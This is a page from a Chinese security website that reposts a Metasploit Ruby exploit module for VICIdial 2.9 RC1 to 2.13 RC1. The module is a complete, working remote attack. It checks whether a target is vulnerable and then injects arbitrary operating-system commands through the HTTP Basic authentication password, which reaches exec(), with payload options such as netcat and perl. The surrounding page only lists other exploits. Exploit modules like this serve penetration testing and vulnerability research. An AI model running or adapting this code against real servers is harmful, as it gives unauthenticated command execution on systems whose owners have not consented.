首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VICIdial 2.9 RC 1 to 2.13 RC1 - user_authorization Unauthenticated Command Execu
来源:metasploit.com 作者:Coles 发布时间:2017-07-25  

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VICIdial user_authorization Unauthenticated Command Execution',
      'Description'    => %q{
        This module exploits a vulnerability in VICIdial versions
        2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
        to execute arbitrary operating system commands as the web
        server user if password encryption is enabled (disabled
        by default).

        When password encryption is enabled the user's password
        supplied using HTTP basic authentication is used in a call
        to exec().

        This module has been tested successfully on version 2.11 RC2
        and 2.13 RC1 on CentOS.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'Brendan Coles <bcoles[at]gmail.com>',
      'References'     =>
        [
          ['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016']
        ],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          # HTTP Basic authentication password
          'Space' => 2048,
          # apostrophe ('), quote ("), semi-colon (;) and backslash (\)
          # are removed by preg_replace
          'BadChars' => "\x00\x0A\x22\x27\x3B\x5C",
          'DisableNops' => true,
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python netcat'
            }
        },
      'Targets'        => [[ 'Automatic Targeting', {} ]],
      'Privileged'     => false,
      'DisclosureDate' => 'May 26 2017',
      'DefaultTarget'  => 0))
    register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ])
    deregister_options('USERNAME', 'PASSWORD')
  end

  def check
    user = rand_text_alpha(rand(10) + 5)
    pass = "#{rand_text_alpha(rand(10) + 5)}&#"
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
                           'authorization' => basic_auth(user, pass)

    unless res
      vprint_status 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code != 401
      vprint_status "#{peer} Unexpected reply. Expected authentication failure."
      return CheckCode::Safe
    end

    # Check for input filtering of '#' and '&' characters in password
    # Response for invalid credentials is in the form of: |<username>|<password>|BAD|
    if res.body !~ /\|#{user}\|#{pass}\|BAD\|/
      vprint_status "#{peer} Target is patched."
      return CheckCode::Safe
    end

    # Check for ../agc/bp.pl password encryption script
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
    if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
      vprint_status "#{peer} Password encryption is supported, but may not be enabled."
      return CheckCode::Appears
    end

    vprint_status "#{peer} Could not verify whether password encryption is supported."
    CheckCode::Detected
  end

  def execute_command(cmd, opts = {})
    user = rand_text_alpha(rand(10) + 5)
    pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #"

    print_status "#{peer} Sending payload (#{cmd.length} bytes)"
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
                           'authorization' => basic_auth(user, pass)

    if !res
      fail_with(Failure::Unreachable, 'Connection failed')
    elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
      print_good "#{peer} Payload sent successfully"
    else
      fail_with(Failure::UnexpectedReply, 'Unexpected reply')
    end
  end

  def exploit
    execute_command(payload.encoded)
  end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·IPFire < 2.19 Update Core 110
·Microsoft Windows - LNK Shortc
·Razer Synapse 2.20.15.1104 - r
·ManageEngine Desktop Central 1
·MAWK 1.3.3-17 - Local Buffer O
·Microsoft Internet Explorer -
·Easy Chat Server User Register
·Metasploit RPC Console Command
·Netscaler SD-WAN 9.1.2.26.5612
·Sonicwall < 8.1.0.2-14sv - 'si
·Sonicwall < 8.1.0.6-21sv - 'ge
·Microsoft Windows Kernel - 'IO
  推荐广告
CopyRight © 2002-2017 VFocuS.Net All Rights Reserved